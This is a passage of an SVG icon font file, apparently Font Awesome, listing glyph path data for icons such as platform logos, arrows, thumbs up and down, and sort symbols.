13.25,4.5 19.25,9.125t 4.625,8.625t-6.25,7.125t-12.875,5.875q-8.25,2.75 -12.375,12t-3.75,18.125t 3.875,11.875q 0.25-7.75 2-14.125 t 3.625-10.125t 5.125-7.125t 5.25-4.75t 5.375-3.25t 4.125-2.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf17b;" d="M 123.25,263.25q 4,0 6.875,2.875t 2.875,6.875t-2.875,6.875t-6.875,2.875t-6.75-2.875t-2.75-6.875t 2.75-6.875t 6.75-2.875zM 228.75,263.25q 4,0 6.75,2.875t 2.75,6.875t-2.75,6.875t-6.75,2.875t-6.875-2.875t-2.875-6.875t 2.875-6.875t 6.875-2.875zM 25.75,217.25q 10.5,0 18-7.5t 7.5-18l0-107.5 q0-10.75 -7.375-18.25t-18.125-7.5 t-18.25,7.5t-7.5,18.25l0,107.5 q0,10.5 7.5,18t 18.25,7.5zM 290.75,212.5l0-166.5 q0-11.5 -8-19.5t-19.25-8l-18.75,0 l0-56.75 q0-10.75 -7.5-18.25t-18.25-7.5t-18.25,7.5t-7.5,18.25l0,56.75 l-34.5,0 l0-56.75 q0-10.75 -7.5-18.25t-18.25-7.5q-10.5,0 -18,7.5t-7.5,18.25l-0.25,56.75l-18.5,0 q-11.5,0 -19.5,8t-8,19.5l0,166.5 l 229.5,0 zM 232.75,313.75q 26.75-13.75 42.75-38.375t 16-53.875 l-231.25,0 q0,29.25 16,53.875t 43,38.375l-17.75,32.75q-1.75,3.25 1.25,5q 3.25,1.5 5-1.5l 18-33q 23.75,10.5 50.25,10.5t 50.25-10.5l 18,33q 1.75,3 5,1.5q 3-1.75 1.25-5zM 352,191.75l0-107.5 q0-10.75 -7.5-18.25t-18.25-7.5q-10.5,0 -18,7.5t-7.5,18.25l0,107.5 q0,10.75 7.5,18.125t 18,7.375q 10.75,0 18.25-7.375t 7.5-18.125z" horiz-adv-x="352"  />
<glyph unicode="&#xf17a;" d="M 170.5,132.5l0-162.75 l-170.5,23.5l0,139.25 l 170.5,0 zM 170.5,318.25l0-164.75 l-170.5,0 l0,141.25 zM 416,132.5l0-196.5 l-226.75,31.25l0,165.25 l 226.75,0 zM 416,352l0-198.5 l-226.75,0 l0,167.25 z" horiz-adv-x="416"  />
<glyph unicode="&#xf179;" d="M 348.25,80.25q-9.75-31.25 -30.75-62.5q-32.25-49 -64.25-49q-12.25,0 -35,8q-21.5,8 -37.75,8q-15.25,0 -35.5-8.25q-20.25-8.5 -33-8.5q-38,0 -75.25,64.75q-36.75,65.25 -36.75,125.75q0,57 28.25,93.5q 28,36 71,36q 18,0 44.25-7.5q 26-7.5 34.5-7.5q 11.25,0 35.75,8.5q 25.5,8.5 43.25,8.5q 29.75,0 53.25-16.25 q 13-9 26-25q-19.75-16.75 -28.5-29.5q-16.25-23.5 -16.25-51.75q0-31 17.25-55.75t 39.5-31.5zM 254.25,373.5q0-15.25 -7.25-34q-7.5-18.75 -23.25-34.5q-13.5-13.5 -27-18q-9.25-2.75 -26-4.25q 0.75,37.25 19.5,64.25q 18.5,26.75 62.5,37q 0.25-0.75 0.625-2.75t 0.625-2.75q0-1 0.125-2.5t 0.125-2.5z" horiz-adv-x="352"  />
<glyph unicode="&#xf178;" d="M 432,160.75q0-3.5 -2.5-6l-96-88.5q-4-3.5 -8.75-1.5q-4.75,2.25 -4.75,7.25l0,56 l-312,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 312,0 l0,56 q0,5.25 4.75,7.25t 8.75-1.25l 96-87.5q 2.5-2.5 2.5-5.75z"  />
<glyph unicode="&#xf177;" d="M 448,184l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-312,0 l0-56 q0-5.25 -4.75-7.25t-8.75,1.25l-96,87.5q-2.5,2.5 -2.5,5.75q0,3.5 2.5,6l 96,88.5q 4,3.5 8.75,1.5q 4.75-2.25 4.75-7.25l0-56 l 312,0 q 3.5,0 5.75-2.25t 2.25-5.75z"  />
<glyph unicode="&#xf176;" d="M 191.25,260.75q-2.25-4.75 -7.25-4.75l-56,0 l0-312 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,312 l-56,0 q-5.25,0 -7.25,4.75t 1.25,8.75l 87.5,96q 2.5,2.5 5.75,2.5q 3.5,0 6-2.5l 88.75-96q 3.25-4 1.25-8.75z" horiz-adv-x="192"  />
<glyph unicode="&#xf175;" d="M 191.25,59.25q 2-4.75 -1.25-8.75l-87.5-96q-2.5-2.5 -5.75-2.5q-3.5,0 -6,2.5l-88.75,96q-3.25,4 -1.25,8.75q 2.25,4.75 7.25,4.75l 56,0 l0,312 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-312 l 56,0 q 5.25,0 7.25-4.75z" horiz-adv-x="192"  />
<glyph unicode="&#xf174;" d="M 280.75,31.75l0,45.25 q-22-14 -43.5-14q-12.75,0 -22,5.75q-7.25,4.25 -9.75,11.25q-2.75,7.5 -2.75,32.25l0,73.75 l 68.5,0 l0,45.25 l-68.5,0 l0,72.75 l-41,0 q-2.75-22.5 -10-36.75t-19.5-24.75q-12-10 -29-15.75l0-40.75 l 31.75,0 l0-101 q0-19.5 4.25-30.25q 4.25-10.5 14.75-19.5q 10.75-9.25 26-14.25q 15.5-5 35-5q 16.75,0 32.25,3.5q 14.25,3.25 33.5,12.25zM 384,280 l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf173;" d="M 97.5,352l 54.75,0 l0-97 l 91,0 l0-60.25 l-91,0 l0-98.5 q0-34 3.5-43q 3.25-9.25 13-15q 12.5-7.75 29.25-7.75q 29.25,0 58,19l0-60.5 q-25.5-12 -44.5-16.25q-19.25-4.75 -43.25-4.75q-26.25,0 -46.5,6.75q-19.5,6.25 -34.5,18.75q-14.5,12.75 -19.75,26.25q-5.5,13.5 -5.5,40.25l0,134.75 l-42.5,0 l0,54.25 q 22.75,7.5 38.75,21q 16,13.75 25.75,33q 9.75,19.5 13.5,49z " horiz-adv-x="256"  />
<glyph unicode="&#xf172;" d="M 212,166.5q0,10.75 -10.25,16.5t-19.25,0.25q-10.75-5 -10.625-18.125t 10.875-17.625q 9.75-5.75 20.25,1t 9,18zM 232,170.5q 2-16.5 -9-30.25t-27.5-15.25t-29.75,10t-14,28.25q-0.5,12.25 6.375,23.25t 18.125,16q 17.5,7.75 35.375-2.5t 20.375-29.5zM 275,268.25q-5-5.25 -13.375-8.5t-13.25-4t-15.875-2q-38.75-5 -81,0q-11,1.5 -15.75,2.375 t-13.125,4t-13.625,8.125q 3.25,4.75 9,7.75t 10,3.875t 11.75,2.125q 49.5,8.75 102,0.25q 8.25-1.25 12.75-2.125t 10.75-4t 9.75-7.875zM 285.5,81.75q0,1.75 1.375,6.625t 0.75,8t-4.375,4.125q-40.25-26.5 -91.25-26.5t-91.5,26.5l-3-1.5l-1.25-3q 6.5-38.5 10.25-52.5q 11.75-20.25 51-27q 62.25-11.5 107,13.25q 8.5,4.75 12.25,12.875t 5.625,21.375t 3.125,17.75z M 318,255q 2.25,13.25 -2,18.75q-10.75,13.75 -38.75,22q-54,15.75 -121.75,9q-33-3 -56.5-11.5q-9.5-3.75 -14.875-6.25t-11.75-8.5t-7.375-13.5q 2-17 4.75-34.5t 7.25-42.75t 6-34.25q 0.25-1.25 1.25-7.75t 1.75-9t 3-6.75t 5.5-7q 26.25-20 71-25q 64.75-7 110,15.75q 6,3.25 9.875,5.75t 7.75,7.25t 4.875,10q 12,66.75 20,118.25zM 384,280 l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf171;" d="M 203.75,169.25q 2-15.75 -12.625-25.25t-27.875-1.5q-9.75,4.25 -13.375,14.5t-0.125,20.5t 13,14.5q 9,4.5 18.125,3t 16-8.875t 6.875-16.875zM 231.5,174.5q-3.5,26.75 -28.25,41t-49.25,3.25q-15.75-7 -25.125-22.125t-8.625-32.375q 1-22.75 19.375-38.75t 41.375-14q 22.75,2 38,21t 12.5,42zM 291.25,310q-5,6.75 -14,11.125t-14.5,5.5 t-17.75,3.125q-72.75,11.75 -141.5-0.5q-10.75-1.75 -16.5-3t-13.75-5.5t-12.5-10.75q 7.5-7 19-11.375t 18.375-5.5t 21.875-2.875q 57-7.25 112-0.25q 15.75,2 22.375,3t 18.125,5.375t 18.75,11.625zM 305.5,51.25q-2-6.5 -3.875-19.125t-3.5-21t-7.125-17.5t-14.5-14.125q-21.5-12 -47.375-17.875t-50.5-5.5t-50.375,4.625q-11.5,2 -20.375,4.5 t-19.125,6.75t-18.25,10.875t-13,15.375q-6.25,24 -14.25,73l 1.5,4l 4.5,2.25q 55.75-37 126.625-37t 126.875,37q 5.25-1.5 6-5.75t-1.25-11.25t-2-9.25zM 350.75,291.5q-6.5-41.75 -27.75-163.75q-1.25-7.5 -6.75-14t-10.875-10t-13.625-7.75q-63-31.5 -152.5-22q-62,6.75 -98.5,34.75q-3.75,3 -6.375,6.625t-4.25,8.75t-2.25,8.5t-1.5,9.875 t-1.375,8.75q-2.25,12.5 -6.625,37.5t-7,40.375t-5.875,36.875t-5.5,39.5q 0.75,6.5 4.375,12.125t 7.875,9.375t 11.25,7.5t 11.5,5.625t 12,4.625q 31.25,11.5 78.25,16q 94.75,9.25 169-12.5q 38.75-11.5 53.75-30.5q 4-5 4.125-12.75t-1.375-13.5z" horiz-adv-x="352"  />
<glyph unicode="&#xf170;" d="M 192,228.5l 50.25-76.5l-100.5,0 zM 283.25,96l 23.5,0 l-114.75,172.75l-114.75-172.75l 23.5,0 l 26,40l 130.5,0 zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf16e;" d="M 312,352q 29.75,0 50.875-21.125t 21.125-50.875l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 zM 174.5,160q0,22 -15.5,37.5t-37.5,15.5t-37.5-15.5t-15.5-37.5t 15.5-37.5t 37.5-15.5t 37.5,15.5t 15.5,37.5zM 315.5,160q0,22 -15.5,37.5 t-37.5,15.5t-37.5-15.5t-15.5-37.5t 15.5-37.5t 37.5-15.5t 37.5,15.5t 15.5,37.5z" horiz-adv-x="384"  />
<glyph unicode="&#xf16d;" d="M 340.5,27.5l0,162 l-33.75,0 q 5-15.75 5-32.75q0-31.5 -16-58.125t-43.5-42.125t-60-15.5q-49.25,0 -84.25,33.875t-35,81.875q0,17 5,32.75l-35.25,0 l0-162 q0-6.5 4.375-10.875t 10.875-4.375l 267.25,0 q 6.25,0 10.75,4.375t 4.5,10.875zM 269.5,160.75q0,31 -22.625,52.875t-54.625,21.875q-31.75,0 -54.375-21.875t-22.625-52.875 t 22.625-52.875t 54.375-21.875q 32,0 54.625,21.875t 22.625,52.875zM 340.5,250.75l0,41.25 q0,7 -5,12.125t-12.25,5.125l-43.5,0 q-7.25,0 -12.25-5.125t-5-12.125l0-41.25 q0-7.25 5-12.25t 12.25-5l 43.5,0 q 7.25,0 12.25,5t 5,12.25zM 384,302.75l0-285.5 q0-20.25 -14.5-34.75t-34.75-14.5l-285.5,0 q-20.25,0 -34.75,14.5t-14.5,34.75l0,285.5 q0,20.25 14.5,34.75 t 34.75,14.5l 285.5,0 q 20.25,0 34.75-14.5t 14.5-34.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf16c;" d="M 232,33.75l0-37.75 l-176.75-0.25l0,37.75 zM 292.25,120.25l0-175.25 l-0.25-8.75l0-0.25 l-283,0 l-8.75,0.25l-0.25,0 l0,184 l 30.25,0 l0-154.5 l 232,0 l0,154.5 l 30,0 zM 60.25,98.25l 176-16.25l-3.25-37.5l-176.25,16.25zM 77.25,177.25l 170.75-45.75l-9.75-36.5l-170.75,45.75zM 118,264.5l 152.25-90l-19.25-32.5l-152.25,90zM 208,347.25l 99.5-146.25l-31-21.25l-99.75,146zM 321.25,384 l 30.25-174.25l-37.25-6.5l-30.25,174.25z" horiz-adv-x="352"  />
<glyph unicode="&#xf16b;" d="M 100.5,207.25l 123.5-76.25l-85.5-71.25l-122.5,79.75zM 347,68.5l0-27 l-122.5-73.25l0-0.25 l-0.25,0.25l-0.25-0.25l0,0.25 l-122.25,73.25l0,27 l 36.75-24l 85.5,71l0,0.5 l 0.25-0.25l 0.25,0.25l0-0.5 l 85.75-71zM 138.5,354.5l 85.5-71.25l-123.5-76l-84.5,67.5zM 347.5,207.25l 84.5-67.75l-122.25-79.75l-85.75,71.25zM 309.75,354.5l 122.25-79.75l-84.5-67.5l-123.5,76z"  />
<glyph unicode="&#xf16a;" d="M 320,160q0,9.25 -7.5,13.5l-128,80q-7.75,5 -16.25,0.5q-8.25-4.5 -8.25-14l0-160 q0-9.5 8.25-14q 4-2 7.75-2q 5,0 8.5,2.5l 128,80q 7.5,4.25 7.5,13.5zM 448,160q0-24 -0.25-37.5t-2.125-34.125t-5.625-36.875q-4-18.25 -17.25-30.75t-31-14.5q-55.5-6.25 -167.75-6.25t-167.75,6.25q-17.75,2 -31.125,14.5t-17.375,30.75 q-3.5,16.25 -5.375,36.875t-2.125,34.125t-0.25,37.5t 0.25,37.5t 2.125,34.125t 5.625,36.875q 4,18.25 17.25,30.75t 31,14.5q 55.5,6.25 167.75,6.25t 167.75-6.25q 17.75-2 31.125-14.5t 17.375-30.75q 3.5-16.25 5.375-36.875t 2.125-34.125t 0.25-37.5z"  />
<glyph unicode="&#xf169;" d="M 171.25,192.75q0,0.25 -31.5,55.5q-5.25,8.5 -13,8.5l-46,0 q-4.5,0 -6.5-2.75q-1.75-3 0.25-7.25l 31.25-54l0-0.25 l-49-86.5q-2.25-3.5 0-7q 2-3.25 6-3.25l 46.25,0 q 7.75,0 12.5,9zM 327.25,317q-1.75,3 -6,3l-46.75,0 q-7.5,0 -12.25-8.75l-102.75-182.25q 0.25-0.5 65.5-120.25q 5-8.75 13-8.75l 46,0 q 4.5,0 6.25,3q 2,3.25 -0.25,7l-65,119l0,0.25  l 102.25,180.75q 2,4 0,7zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf168;" d="M 149.25,217.25q-2.5-4.5 -64.25-114q-6.75-11.5 -16.25-11.5l-59.75,0 q-5.25,0 -7.75,4.25t0,9l 63.25,112q 0.25,0 0,0.25l-40.25,69.75q-3,5.5 -0.25,9.25q 2.25,3.75 8,3.75l 59.75,0 q 10,0 16.5-11.25zM 350.75,377.75q 2.75-4 0-9.25l-132-233.5l0-0.25 l 84-153.75q 2.75-5 0.25-9.25q-2.5-3.75 -8-3.75l-59.75,0 q-10.5,0 -16.5,11.25l-84.75,155.5q 4.5,8 132.75,235.5 q 6.25,11.25 16,11.25l 60.25,0 q 5.5,0 7.75-3.75z" horiz-adv-x="352"  />
<glyph unicode="&#xf167;" d="M 242.75,73l0-52.75 q0-16.75 -9.75-16.75q-5.75,0 -11.25,5.5l0,75.25 q 5.5,5.5 11.25,5.5q 9.75,0 9.75-16.75zM 327.25,72.75l0-11.5 l-22.5,0 l0,11.5 q0,17 11.25,17t 11.25-17zM 85.75,127.25l 26.75,0 l0,23.5 l-78,0 l0-23.5 l 26.25,0 l0-142.25 l 25,0 l0,142.25 zM 157.75-15l 22.25,0 l0,123.5 l-22.25,0 l0-94.5 q-7.5-10.5 -14.25-10.5q-4.5,0 -5.25,5.25q-0.25,0.75 -0.25,8.75l0,91 l-22.25,0 l0-97.75 q0-12.25 2-18.25 q 3-9.25 14.5-9.25q 12,0 25.5,15.25l0-13.5 zM 265,22l0,49.25 q0,18.25 -2.25,24.75q-4.25,14 -17.75,14q-12.5,0 -23.25-13.5l0,54.25 l-22.25,0 l0-165.75 l 22.25,0 l0,12 q 11.25-13.75 23.25-13.75q 13.5,0 17.75,13.75q 2.25,6.75 2.25,25zM 349.5,24.5l0,3.25 l-22.75,0 q0-12.75 -0.5-15.25q-1.75-9 -10-9q-11.5,0 -11.5,17.25l0,21.75 l 44.75,0 l0,25.75 q0,19.75 -6.75,29q-9.75,12.75 -26.5,12.75q-17,0 -26.75-12.75 q-7-9.25 -7-29l0-43.25 q0-19.75 7.25-29q 9.75-12.75 27-12.75q 18,0 27,13.25q 4.5,6.75 5.25,13.5q 0.5,2.25 0.5,14.5zM 197.5,252.75l0,52.5 q0,17.25 -10.75,17.25t-10.75-17.25l0-52.5 q0-17.5 10.75-17.5t 10.75,17.5zM 377.25,65q0-58.5 -6.5-87.5q-3.5-14.75 -14.5-24.75t-25.5-11.5q-46-5.25 -138.75-5.25t-138.75,5.25q-14.5,1.5 -25.625,11.5t-14.375,24.75 q-6.5,28 -6.5,87.5q0,58.5 6.5,87.5q 3.5,14.75 14.5,24.75t 25.75,11.75q 45.75,5 138.5,5t 138.75-5q 14.5-1.75 25.625-11.75t 14.375-24.75q 6.5-28 6.5-87.5zM 127.75,384l 25.5,0 l-30.25-99.75l0-67.75 l-25,0 l0,67.75 q-3.5,18.5 -15.25,53q-9.25,25.75 -16.25,46.75l 26.5,0 l 17.75-65.75zM 220.25,300.75l0-43.75 q0-20.25 -7-29.5q-9.25-12.75 -26.5-12.75q-16.75,0 -26.25,12.75 q-7,9.5 -7,29.5l0,43.75 q0,20 7,29.25q 9.5,12.75 26.25,12.75q 17.25,0 26.5-12.75q 7-9.25 7-29.25zM 304,341.25l0-124.75 l-22.75,0 l0,13.75 q-13.25-15.5 -25.75-15.5q-11.5,0 -14.75,9.25q-2,6 -2,18.75l0,98.5 l 22.75,0 l0-91.75 q0-8.25 0.25-8.75q 0.75-5.5 5.25-5.5q 6.75,0 14.25,10.75l0,95.25 l 22.75,0 z" horiz-adv-x="384"  />
<glyph unicode="&#xf166;" d="M 229.75,58.25l0,39.25 q0,12.5 -7.25,12.5q-4.25,0 -8.25-4l0-56 q 4-4 8.25-4q 7.25,0 7.25,12.25zM 275.75,88.75l 16.5,0 l0,8.5 q0,12.75 -8.25,12.75t-8.25-12.75l0-8.5 zM 133,155.25l0-17.5 l-20,0 l0-105.75 l-18.5,0 l0,105.75 l-19.5,0 l0,17.5 l 58,0 zM 183.25,123.75l0-91.75 l-16.75,0 l0,10 q-9.75-11.25 -19-11.25q-8.25,0 -10.5,7q-1.5,4 -1.5,13.5l0,72.5 l 16.5,0 l0-67.5 q0-6 0.25-6.5q 0.25-3.75 3.75-3.75 q 5,0 10.5,7.75l0,70 l 16.75,0 zM 246.25,96l0-36.5 q0-13 -1.75-18.25q-3-10.5 -13.25-10.5q-8.75,0 -17,10.25l0-9 l-16.75,0 l0,123.25 l 16.75,0 l0-40.25 q 8,10 17,10q 10.25,0 13.25-10.5q 1.75-5.25 1.75-18.5zM 309,63.75l0-2.25 q0-7.25 -0.5-10.75q-0.75-5.5 -3.75-10q-6.75-10 -20-10q-13,0 -20.25,9.5q-5.25,6.75 -5.25,21.5l0,32.25 q0,14.75 5,21.5q 7.25,9.5 20,9.5t 19.5-9.5 q 5.25-7 5.25-21.5l0-19 l-33.25,0 l0-16.25 q0-12.75 8.5-12.75q 6,0 7.5,6.5q0,0.25 0.125,1.75t 0.125,4.125l0,5.375 l 17,0 zM 196.25,269.75l0-39 q0-12.75 -8-12.75t-8,12.75l0,39 q0,13 8,13t 8-13zM 329.5,91.5q0,44.25 -4.75,65q-2.5,11 -10.75,18.375t-19,8.625q-34,3.75 -103,3.75q-68.75,0 -102.75-3.75q-11-1.25 -19.125-8.625t-10.625-18.375 q-5-21.75 -5-65q0-44 5-65q 2.5-10.75 10.625-18.25t 18.875-8.75q 34.25-3.75 103-3.75t 103,3.75q 10.75,1.25 18.875,8.75t 10.625,18.25q 5,21 5,65zM 140.75,254.25l 22.5,74l-18.75,0 l-12.75-48.75l-13.25,48.75l-19.5,0 l 6-17.25t 5.75-17.25q 8.75-25.75 11.5-39.5l0-50.25 l 18.5,0 l0,50.25 zM 213,234l0,32.5 q0,14.5 -5.25,21.75q-7.25,9.5 -19.5,9.5q-12.75,0 -19.5-9.5 q-5.25-7.25 -5.25-21.75l0-32.5 q0-14.5 5.25-21.75q 6.75-9.5 19.5-9.5q 12.25,0 19.5,9.5q 5.25,6.75 5.25,21.75zM 258.25,204l 16.75,0 l0,92.5 l-16.75,0 l0-70.75 q-5.5-7.75 -10.5-7.75q-3.75,0 -4,4q-0.25,0.5 -0.25,6.5l0,68 l-16.75,0 l0-73.25 q0-9.25 1.5-13.75q 2.75-6.75 10.75-6.75q 9,0 19.25,11.25l0-10 zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0  q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf165;" d="M 64,240q0-6.5 -4.75-11.25t-11.25-4.75q-6.75,0 -11.375,4.75t-4.625,11.25q0,6.75 4.625,11.375t 11.375,4.625q 6.5,0 11.25-4.625t 4.75-11.375zM 104,112l0,160 q0,6.5 -4.75,11.25t-11.25,4.75l-72,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-160 q0-6.5 4.75-11.25t 11.25-4.75l 72,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 386.25,149.25q 13.75-15.25 13.75-37.25q-0.25-19.5 -14.375-33.75 t-33.625-14.25l-69.25,0 q 1-3.5 2-6t 2.75-5.5t 2.5-4.5q 4.5-9.25 6.75-14.25t 4.75-14.625t 2.5-19.125q0-6 -0.125-9.75t-1.25-11.25t-3-12.5t-6-11.25t-10-10.125t-15-6.5t-20.625-2.625q-6.5,0 -11.25,4.75q-5,5 -8.5,12.5t-4.875,13t-3.125,15.25q-2.25,10.5 -3.375,15.125t-4.375,12.125t-7.75,12q-8.25,8.25 -25.25,30q-12.25,16 -25.25,30.25 t-19,14.75q-6.25,0.5 -10.75,5.125t-4.5,10.875l0,160.25 q0,6.5 4.75,11.125t 11.25,4.875q 8.75,0.25 39.5,11q 19.25,6.5 30.125,9.875t 30.375,7.25t 36,3.875l 4.25,0 l 19,0 l 9,0 q 33.25-0.5 49.25-19.5q 14.5-17.25 12.25-45.25q 9.75-9.25 13.5-23.5q 4.25-15.25 0-29.25q 11.5-15.25 10.75-34.25q0-8 -3.75-19z" horiz-adv-x="416"  />
<glyph unicode="&#xf164;" d="M 64,48q0,6.5 -4.75,11.25t-11.25,4.75q-6.75,0 -11.375-4.75t-4.625-11.25q0-6.75 4.625-11.375t 11.375-4.625q 6.5,0 11.25,4.625t 4.75,11.375zM 104,176l0-160 q0-6.5 -4.75-11.25t-11.25-4.75l-72,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,160 q0,6.5 4.75,11.25t 11.25,4.75l 72,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 400,176q0-21.5 -13.75-37.25q 3.75-11 3.75-19 q 0.75-19 -10.75-34.25q 4.25-14 0-29.25q-3.75-14.25 -13.5-23.5q 2.25-28 -12.25-45.25q-16-19 -49.25-19.5l-9,0 l-19,0 l-4.25,0 q-16.5,0 -36,3.875t-30.375,7.25t-30.125,9.875q-30.75,10.75 -39.5,11q-6.5,0.25 -11.25,4.875t-4.75,11.125l0,160.25 q0,6.25 4.5,10.875t 10.75,5.125q 6,0.5 19,14.75t 25.25,30.25q 17,21.75 25.25,30q 4.5,4.5 7.75,12t 4.375,12.125 t 3.375,15.125q 1.75,9.75 3.125,15.25t 4.875,13t 8.5,12.5q 4.75,4.75 11.25,4.75q 11.5,0 20.625-2.625t 15-6.5t 10-10.125t 6-11.25t 3-12.5t 1.25-11.25t 0.125-9.75q0-9.5 -2.375-19t-4.75-15t-6.875-14q-0.75-1.5 -2.5-4.5t-2.75-5.5t-2-6l 69.25,0 q 19.5,0 33.75-14.25t 14.25-33.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf163;" d="M 336.5,311.75q0,15.75 -11,29t-25.75,13.25q-13,0 -20.75-9.25t-7.75-23.5t 9.125-23.75t 26.125-9.5q 12.5,0 21.25,6.75t 8.75,17zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25 t 2.25-5.75zM 364-35.5l0-28.5 l-117.25,0 l0,28.5 l 41.75,0 l0,108 q0,1.75 0.125,4.75t 0.125,4.25l0,4 l-0.5,0 l-1.75-3q-2-3.25 -6.5-7.75l-15.5-14.5l-20.5,21.5l 48,46.25l 30.75,0 l0-163.5 l 41.25,0 zM 371.5,297.25q0-15.5 -3.25-30.375t-10.25-28.5t-17-23.875t-24.625-16.375t-31.875-6.125q-15.5,0 -27,4q-6,2 -10.5,3.75l 9.75,28.25q 3.75-1.75 7.75-2.75q 9.25-3.25 18.75-3.25 q 21,0 33.625,14.625t 16.625,36.375l-0.5,0 q-5.25-5.75 -15.375-9.25t-21.125-3.5q-26.5,0 -43.25,17.875t-16.75,43.125q0,26.25 18,44.5t 45.25,18.25q 30.75,0 51.25-23.625t 20.5-63.125z" horiz-adv-x="384"  />
<glyph unicode="&#xf162;" d="M 336.5,55.75q0,15.75 -11,29t-25.75,13.25q-13,0 -20.75-9.25t-7.75-23.5t 9.125-23.75t 26.125-9.5q 12.5,0 21.25,6.75t 8.75,17zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75 zM 371.5,41.25q0-15.5 -3.25-30.375t-10.25-28.5t-17-23.875t-24.625-16.375t-31.875-6.125q-15.5,0 -27,4q-6,2 -10.5,3.75l 9.75,28.25q 3.75-1.75 7.75-2.75q 9.25-3.25 18.75-3.25q 21,0 33.625,14.625t 16.625,36.375l-0.5,0 q-5.25-5.75 -15.375-9.25t-21.125-3.5q-26.5,0 -43.25,17.875t-16.75,43.125q0,26.25 18,44.5t 45.25,18.25q 30.75,0 51.25-23.625 t 20.5-63.125zM 364,220.5l0-28.5 l-117.25,0 l0,28.5 l 41.75,0 l0,108 q0,1.75 0.125,4.75t 0.125,4.25l0,4 l-0.5,0 l-1.75-3q-2-3.25 -6.5-7.75l-15.5-14.5l-20.5,21.5l 48,46.25l 30.75,0 l0-163.5 l 41.25,0 z" horiz-adv-x="384"  />
<glyph unicode="&#xf161;" d="M 304-8l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-64,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 64,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0  q 3.5,0 5.75-2.25t 2.25-5.75zM 352,120l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-112,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 112,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 400,248l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-160,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 160,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 448,376l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-208,0  q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 208,0 q 3.5,0 5.75-2.25t 2.25-5.75z"  />
